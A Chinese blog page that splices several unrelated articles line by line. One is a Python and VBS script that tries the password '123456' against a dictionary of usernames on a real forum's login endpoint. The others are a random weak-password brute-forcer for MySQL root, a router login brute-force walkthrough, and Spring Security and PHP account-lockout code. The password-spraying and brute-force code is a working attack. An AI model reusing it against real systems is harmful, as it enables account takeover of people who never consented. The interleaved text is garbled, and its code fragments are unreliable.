Python牛刀小试密码爆破

by admin on 2019年11月6日

图片 1

实现登录时密码错误次数限制功能,就是在登录界面中当用户提交了错误的密码时在数据库中记录下这个错误次数,直到错误次数达到指定次数时,锁定用户账户,此时即便输入正确的密码,也不能登录。

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

转自www.3maio.com/w-detail/10

写了个程序,主要是用来检测MySQL数据库的空密码和弱密码的,

image

需要完成如下工作:

复制代码 代码如下:

class Login

在这里,定义了三类弱密码:

在院子里面看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后面的标签上有web界面的地址,然后登陆进去看看,发现有密码,然后我想,路由器的密码应该都是可以reset的,然后我就用笔戳那个reset键,奇迹没有发生,原来这个reset键坏了。

(1)修改用户表users的结构,增加相关字段。

#coding: gbk
import httplib, urllib

{

  1. 连续数字,譬如123456,在get_weak_num中实现

  2. 连续字母,譬如abcdef,在get_weak_character中实现

图片 2

(2)自定义实现UserDetailsService,用于加载额外的数据字段。

def Check(username, password):
params = urllib.urlencode(
{‘userid’: username, ‘passwd’: password})
headers = {“Content-type”:
“application/x-www-form-urlencoded”}
conn = httplib.HTTPSConnection(“www.bdwm.net”)
conn.request(“POST”,
“/bbs/bbslog2.php”, params, headers)
res = conn.getresponse().read()
conn.close()
if res.find(“密码不正确”) != -1:
return False
elif res.find(“不存在这个用户”) != -1:
return False
else:
return True

protected $pdo;

当然,个数都是随机的。

image

(3)自定义实现AuthenticationProvider,用于捕获登录成功和失败的事件。

for i in open(“English.Dic”):
if Check(i.rstrip(),”123456″):
print i

public function __construct()

  1. 数字和字母随机组合。在get_weak_num_character中实现。

图片 3

(3)修改spring-security.xml文件,配置上述(2)和(3)的信息。

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?

{

同时定义了一个password_exist的列表,用于保存不同的密码。如果新生成的密码在列表中存在,则不进行MySQL数据库的连接,直接到下一次循环。

image

(4)修改登录失败页面,显示具体登录错误信息。

复制代码 代码如下:

//链接数据库

具体如下:

分析过程

 

Dim fso
Set fso = CreateObject(“scripting.filesystemobject”)
With fso.OpenTextFile(“English.Dic”,1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,”123456″) Then
WScript.Echo id & vbTab &”OK”
End If
Loop
End With

$this->connectDB();

#coding=utf8
import random,string,MySQLdb
def get_num():
    return random.randint(0,9)
def get_char():
    return random.choice(tuple(string.lowercase))
def choose_any():
    return [str(get_num()),get_char()]
def get_weak_num():
    weak_num=[]
    initial_num=get_num()
    for i in range(get_num()):
        weak_num.append(str(initial_num+i))
        if initial_num +i ==9:
            break;
    return weak_num
def get_weak_character():
    weak_character=[]
    initial_character=get_char()
    for i in range(get_num()):
        weak_character.append(chr(ord(initial_character)+i))
        if chr(ord(initial_character)+i) == 'z':
            break
    return weak_character
def get_weak_num_character():
    return [random.choice(choose_any()) for num in range(get_num())]
password_exist=[]
for i in range(10000):
    choice = [get_weak_num(), get_weak_character(), get_weak_num_character()]
    password=''.join(random.choice(choice))
    print "第"+str(i)+"次密码为:"+password
    if password in password_exist:
        continue
    else:
        try:
            MySQLdb.connect('192.168.244.145', 'root', password)
            print 'The password for MySQL is:'+password
            break
        except:
            continue
        password_exist.append(password)
if i == 9999:
    print 'The password is not so weak~'

抓包

1.1.1. 修改用户表结构

对users表的表结构做如下修改,

增加四个字段:

账户是否过期: expired

账户是否锁定:locked

密码是否过期:passwordexpired

登录失败次数:failtimes

Spring Security在UserDetails接口以及User类中均定义了前3个字段对应的属性,但是在查询数据库时,默认没有查询这三个字段,在创建User实例时均以true进行构造。在自定义UserDetailsService时将仿照JdbcDaoImpl对loadUsersByUsername()方法进行改造。

 

 

具体SQL操作如下:

 

mysql> alter table users add column expired boolean not null;

Query OK, 0 rows affected (0.28 sec)

Records: 0  Duplicates: 0  Warnings: 0



mysql> alter table users add column locked boolean not null;

Query OK, 0 rows affected (0.06 sec)

Records: 0  Duplicates: 0  Warnings: 0



mysql> alter table users add column passwordexpired boolean not null;

Query OK, 0 rows affected (0.08 sec)

Records: 0  Duplicates: 0  Warnings: 0



mysql> alter table users add column failtimes int not null default 0;

Query OK, 0 rows affected (0.34 sec)

Records: 0  Duplicates: 0  Warnings: 0



mysql> desc users;

+-----------------+-------------+------+-----+---------+-------+

| Field           | Type        | Null | Key | Default | Extra |

+-----------------+-------------+------+-----+---------+-------+

| username        | varchar(64) | NO   | PRI | NULL    |       |

| password        | varchar(64) | NO   |     | NULL    |       |

| enabled         | tinyint(1)  | NO   |     | NULL    |       |

| expired         | tinyint(1)  | NO   |     | NULL    |       |

| locked          | tinyint(1)  | NO   |     | NULL    |       |

| passwordexpired | tinyint(1)  | NO   |     | NULL    |       |

| failtimes       | int(11)     | NO   |     | 0       |       |

+-----------------+-------------+------+-----+---------+-------+

7 rows in set (0.00 sec)



mysql> select * from users;

+----------+------------------------------------------+---------+---------+--------



+-----------------+-----------+

| username | password                                 | enabled | expired | locked |



passwordexpired | failtimes |

+----------+------------------------------------------+---------+---------+--------



+-----------------+-----------+

| lisi     | 40bd001563085fc35165329ea1ff5c5ecbdbbeef |       1 |       0 |      0 |



              0 |         0 |

| wangwu   | 40bd001563085fc35165329ea1ff5c5ecbdbbeef |       1 |       0 |      0 |



              0 |         0 |

| zhangsan | 40bd001563085fc35165329ea1ff5c5ecbdbbeef |       1 |       0 |      0 |



              0 |         0 |

+----------+------------------------------------------+---------+---------+--------



+-----------------+-----------+

3 rows in set (0.00 sec)

 

 

Function Check(username,password)
Dim http
Set http = CreateObject(“Msxml2.XMLHTTP”)
http.open _
“POST”,”
http.setRequestHeader _
“Content-Type”,”application/x-www-form-urlencoded”
http.send “userid=” & username & “&passwd=” & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,”密码不正确”) Then
Check = False
ElseIf InStr(response,”不存在这个用户”) Then
Check = False
Else
Check = True
End If
End Function

}

 

1、打开路由的web页面:192.168.3.1,路由器返回

1.1.2. 实现自定义的UserDetailsService

 

(1)先定义一个UserDetailsUpdater接口。

此接口类型将作为CustomAuthenticationProvider的登录辅助信息维护对象CustomUserDetailsService的接口类型。

 

/**

* @ClassName: UserDetailsUpdater

* @Description: 用于维护用户登录辅助信息

* @author http://www.cnblogs.com/coe2coe/

*  

*/

public interface UserDetailsUpdater {



/**

 * 在登录密码错误和登录成功时维护登录辅助信息。

 * @param username  用户名

 * @param success   登录是否成功

 * @throws Exception

 */

void updateUser(String username, boolean success) throws Exception;


}

 

 

 

(2)定义自定义的CustomUserDetailsService类。

从Spring Security的JdbcDaoImpl类继承,同时实现了UserDetailsUpdater接口。

 

/**

* @ClassName: CustomUserDetailsService

* @Description: (1)从数据库中加载安全相关的用户信息,添加了SpringSecurity默认不包含的3个字段。

*               (2)实现UserDetailsUpdater,维护登录辅助信息。

* @author http://www.cnblogs.com/coe2coe/

*  

*/

public class CustomUserDetailsService extends JdbcDaoImpl implements UserDetailsUpdater {



/**

 * 从数据库查询用户信息。

 */

@Override

protected List<UserDetails> loadUsersByUsername(String username) {

return getJdbcTemplate().query(this.getUsersByUsernameQuery(),

new String[] { username }, new RowMapper<UserDetails>() {

@Override

public UserDetails mapRow(ResultSet rs, int rowNum)

throws SQLException {

String username = rs.getString("username");

String password = rs.getString("password");

boolean enabled = rs.getBoolean("enabled");

boolean locked = rs.getBoolean("locked");

boolean expired = rs.getBoolean("expired");

boolean passwordExpired = rs.getBoolean("passwordexpired");

return new User(username, password, enabled,

!expired,!passwordExpired,!locked,

AuthorityUtils.NO_AUTHORITIES);

}



});

}



/**

 * 主要作用是使SpringSecurity最终使用的UserDetails不必要与从数据库查询出的UserDetails完全相同。

 * 提供了一个间接的中间层。

 */

@Override

protected UserDetails createUserDetails(String username, UserDetails userFromUserQuery,

List<GrantedAuthority> combinedAuthorities) {

String returnUsername = userFromUserQuery.getUsername();



if (!this.isUsernameBasedPrimaryKey()) {

returnUsername = username;

}

return new User(returnUsername,

userFromUserQuery.getPassword(),

userFromUserQuery.isEnabled(),

userFromUserQuery.isAccountNonExpired(),

userFromUserQuery.isCredentialsNonExpired(),

userFromUserQuery.isAccountNonLocked(),

combinedAuthorities);

}





@Override

public void updateUser(String username, boolean success) throws Exception {

if(success){

this.getJdbcTemplate().update(sqlUnlockUser, username);

}

else{

this.getJdbcTemplate().update(sqlIncreaseFailTimes,username);

if(this.getJdbcTemplate().queryForObject(sqlQueryFailTimes, Integer.class,username) >= maxFailTimesBeforeLock)

{

this.getJdbcTemplate().update(sqlLockUser,username);

}

}

}



//最大的失败次数

private int     maxFailTimesBeforeLock = 5;



//解锁账户

private String  sqlUnlockUser = "update users set locked = false,failtimes=0 where username=?";



//锁定账户

private String  sqlLockUser = "update users set locked = true where username=? and locked = false";

//增加失败次数

private String  sqlIncreaseFailTimes = "update users set failtimes = failtimes + 1 where username=?";



//查询失败次数。

private String  sqlQueryFailTimes = "select failtimes from users where username=?";





public String getSqlUnlockUser() {

return sqlUnlockUser;

}

public void setSqlUnlockUser(String sqlUnlockUser) {

this.sqlUnlockUser = sqlUnlockUser;

}

public String getSqlLockUser() {

return sqlLockUser;

}

public void setSqlLockUser(String sqlLockUser) {

this.sqlLockUser = sqlLockUser;

}

public String getSqlIncreaseFailTimes() {

return sqlIncreaseFailTimes;

}

public void setSqlIncreaseFailTimes(String sqlIncreaseFailTimes) {

this.sqlIncreaseFailTimes = sqlIncreaseFailTimes;

}

}

 

 

 

 

 

自定义CustomAuthenticationProvider类

 

主要作用是在用户登录时出现密码错误时以及登录成功时进行自定义的处理。

 

/**

* @ClassName: CustomAuthenticationProvider

* @Description: 自定义的一个用户认证提供者。

* @author http://www.cnblogs.com/coe2coe/

*  

*/

public class CustomAuthenticationProvider extends DaoAuthenticationProvider {



@Override

public Authentication authenticate(Authentication auth) throws AuthenticationException {

System.out.println("authenticate begin------");

Authentication  authResult = null;

try{

authResult =  super.authenticate(auth);



try{//验证成功,重置密码错误次数。

this.userDetailsUpdater.updateUser(auth.getName(), true);

}

catch(Exception exp){

exp.printStackTrace();

}

}

catch(BadCredentialsException ex){//密码错误,增加密码错误次数,达到最大次数时锁定账户。

    System.out.println("BadCredentialsException:" + auth.getName());

  try{

this.userDetailsUpdater.updateUser(auth.getName(), false);

}

catch(Exception exp){

exp.printStackTrace();

}

throw ex;

}

catch(AuthenticationException ex){

System.out.println("AuthenticationException:" + auth.getName());

System.out.println(auth.getDetails());

System.out.println(auth.getPrincipal());

   throw ex;

}

System.out.println("authenticate end--------");

return authResult;

}



private UserDetailsUpdater  userDetailsUpdater;



public UserDetailsUpdater getUserDetailsUpdater() {

return userDetailsUpdater;

}



public void setUserDetailsUpdater(UserDetailsUpdater userDetailsUpdater) {

this.userDetailsUpdater = userDetailsUpdater;

}

}

 

 

Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject(“adodb.stream”)
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = “gb2312”
AnsiToUnicode = ado.ReadText
End Function

protected function connectDB()

图片 4

1.1.3. 修改spring-security.xml文件

主要目的是将上述的自定义CustomUserDetailsService和CustomAuthenticationProvider类进行配置,并配置到AuthenticationManager中。

 

 

<!-- 用户和角色的对应关系 -->

 <sec:authentication-manager>

 <!-- 指定AuthenticationProvider为自定义的CustomAuthenticationProvider -->

   <sec:authentication-provider ref="authenticationProvider"  />

 </sec:authentication-manager>





<!-- 自定义的CustomUserDetailsService -->

<beans:bean  id="userDetailsService"  class="com.test.security.CustomUserDetailsService" >

  <beans:property name="dataSource" ref="dataSource"></beans:property>

  <beans:property name="usersByUsernameQuery"

   value="select * from users where username=?"

   ></beans:property>

</beans:bean>



<!-- 自定义的CustomAuthenticationProvider

     将UserDtailsService和UserDetailsUpdater注入其中。

 -->

<beans:bean id="authenticationProvider" class="com.test.security.CustomAuthenticationProvider">

 <beans:property name="userDetailsService" ref="userDetailsService"></beans:property>

 <beans:property name="passwordEncoder" ref="passwordEncoder"></beans:property>

 <beans:property name="userDetailsUpdater" ref="userDetailsService"></beans:property>

</beans:bean>



<!-- 仍然是使用SHA摘要算法处理密码 -->

 <beans:bean id="passwordEncoder" class="org.springframework.security.authentication.encoding.ShaPasswordEncoder"></beans:bean>

 

 

 

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:

{

image

1.1.4. 修改登录失败页面

 

目的是希望在登录失败时显示具体登录错误信息。

Spring Security将登录失败时的异常对象存放在requst对象的属性中。

在login_failed.jsp中增加如下代码:

 

<p>${SPRING_SECURITY_LAST_EXCEPTION.message}</p>

  

 

登录密码错误时显示密码错误:

 图片 5

 

 

当累计5次密码错误之后,再次登录时显示账户已锁定:

 图片 6

 

 

python版 复制代码 代码如下: #coding: gbk import httplib, urllib def
Check(username, password)…

$dsn = “mysql:host=localhost;dbname=demo;charset=utf8”;

图片 7

1.1.5. 总结

有几个需要注意的地方:

  (a)使用的密码摘要算法的类名可以在Spring Security的源代码中找到。

  (b)原始的Spring Security加载用户表users中的信息时,没有加载登录辅助信息,所以进行了自定义,编写了新的加载过程。

  (c)CustomAuthenticationProvider的bean定义中,属性userDetailsService是Spring Security的DaoAuthenticationProvider所要求的;属性userDetailsUpdater是自行添加的。二者都将指向同一个bean对象userDetailsService,该bean对象直接调用JdbcTemplate的方法操纵数据库。

 

$this->pdo = new PDO($dsn, ‘root’, ‘root’);

image

}

会得到csrf和cookie和所需要的值,这些值都要保留下来,后面会用。

//显示登录页

2、输入用户名密码后:

public function loginPage()

图片 8

{

image

include_once(‘./html/login.html’);

图片 9

}

image

//接受用户数据做登录

图片 10

public function handlerLogin()

image

{

图片 11

$email = $_POST[’email’];

image

$pass = $_POST[‘pass’];

3、路由器返回数据

//根据用户提交数据查询用户信息

图片 12

$sql = “select id,name,pass,reg_time from blog_admin where email = ?”;

image

$stmt = $this->pdo->prepare($sql);

密码的生成方法

$stmt->execute([$email]);

从上面抓包的结果来看,Password字段是经过加密的,所以如果我们要Python暴力破解,需要把这个password的生成算法找出来。

$userData = $stmt->fetch(\PDO::FETCH_ASSOC);

打开web登录页面,查看源代码,找找算法

//没有对应邮箱

图片 13

if ( empty($userData) ) {

image

echo ‘登录失败1’;

图片 14

echo ”;

image

exit;

图片 15

}

image

//检查用户最近30分钟密码错误次数

图片 16

$res = $this->checkPassWrongTime($userData[‘id’]);

image

//错误次数超过限制次数

图片 17

if ( $res === false ) {

image

echo
‘你刚刚输错很多次密码,为了保证账户安全,系统已经将您账号锁定30min’;

在linux上修改ip地址,很简单一条命令就可以解决:

echo ”;

图片 18

exit;

image

}

[password:bbbbbbbb];{“errorCategory”:”user_pass_err”,”csrf_param”:”FcnG919l8J7XhQsOYQEMS3WhsC2liSX”,”count”:2,”csrf_token”:”IQ/LfSZSx7gTp6VflYnZelobNSpoMy2″}

//判断密码是否正确

ip地址被限制,需要等待1分钟的提示:

$isRightPass = password_verify($pass, $userData[‘pass’]);

[password:aaaaaaaa];{“errorCategory”:”Three_time_err”,”csrf_param”:”VKGTylVILQA9SFsTyYdpkHv8qfJPIIw”,”count”:3,”csrf_token”:”MTQLBcWQN+1DJjAP+A6xC4AUSXciBod”}

//登录成功

登录成功的提示:

if ( $isRightPass ) {

****[password:xxxxxxxx];{“csrf_param”:”H/DyWxogz7+2y4UfzhqddowkjH1uL04″,”csrf_token”:”MorgBb0+PNpoE8KhwBwq4OoioD2NcCs”,”errorCategory”:”ok”,”level”:2,”IsWizard”:true,”IsFirst”:true}

echo ‘登录成功’;

流程

exit;

图片 19

} else {

image

//记录密码错误次数

所有的数据都准备好了,下一步,就是开始利用Python写程序了。

$this->recordPassWrongTime($userData[‘id’]);

核心Python代码:

echo ‘登录失败2’;

图片 20

echo ”;

image

exit;

图片 21

}

image

}

图片 22

//记录密码输出信息

image

protected function recordPassWrongTime($uid)

图片 23

{

image

//ip2long()函数可以将IP地址转换成数字

图片 24

$ip = ip2long( $_SERVER[‘REMOTE_ADDR’] );

image

$time = date(‘Y-m-d H:i:s’);

图片 25

$sql = “insert into
blog_admin_info(uid,ipaddr,logintime,pass_wrong_time_status)
values($uid,$ip,'{$time}’,2)”;

image

$stmt = $this->pdo->prepare($sql);

图片 26

$stmt->execute();

image

}

图片 27

/**

image

* 检查用户最近$min分钟密码错误次数

图片 28

* $uid 用户ID

image

* $min  锁定时间

图片 29

* $wTIme 错误次数

image

* @return 错误次数超过返回false,其他返回错误次数,提示用户

图片 30

*/

image

protected function checkPassWrongTime($uid, $min=30, $wTime=3)

图片 31

{

image

if ( empty($uid) ) {

图片 32

throw new \Exception(“第一个参数不能为空”);

image

}

图片 33

$time = time();

image

$prevTime = time() – $min*60;

图片 34

//用户所在登录ip

image

$ip = ip2long( $_SERVER[‘REMOTE_ADDR’] );

怎么防止暴力破解?

//pass_wrong_time_status代表用户输出了密码

图片 35

$sql = “select * from user_login_info where uid={$uid} and
pass_wrong_time_status=2 and UNIX_TIMESTAMP(logintime) between
$prevTime and $time and ipaddr=$ip”;

image

$stmt = $this->pdo->prepare($sql);

图片 36

$stmt->execute();

$data = $stmt->fetchAll(\PDO::FETCH_ASSOC);

//统计错误次数

$wrongTime = count($data);

//判断错误次数是否超过限制次数

if ( $wrongTime > $wTime ) {

return false;

}

return $wrongTime;

}

public function __call($methodName, $params)

{

echo
‘访问的页面不存在’,’返回登录页’;

}

}

$a = @$_GET[‘a’]?$_GET[‘a’]:’loginPage’;

$login = new Login();

$login->$a();

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图